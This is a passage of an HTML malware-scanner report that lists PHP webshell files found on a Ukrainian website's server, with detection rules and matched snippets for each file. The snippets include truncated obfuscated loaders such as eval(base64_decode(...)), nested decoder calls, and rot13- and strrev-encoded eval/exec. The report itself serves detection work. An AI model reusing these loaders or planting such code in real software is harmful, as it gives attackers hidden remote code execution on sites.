<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_390").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/vaocw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:43:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:43:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_391" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_391").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/venri.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:58:20</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:58:20</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_392" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_392").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/fwdfr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:46:19</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:46:19</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_393" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_393").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/dlpvc.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:31</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_394" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_394").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/xmuuw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:56:46</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:56:46</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_395" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_395").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovahqtcel.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:12:24</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:12:24</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_396" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_396").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/drcac.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:14:22</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:14:22</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_397" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
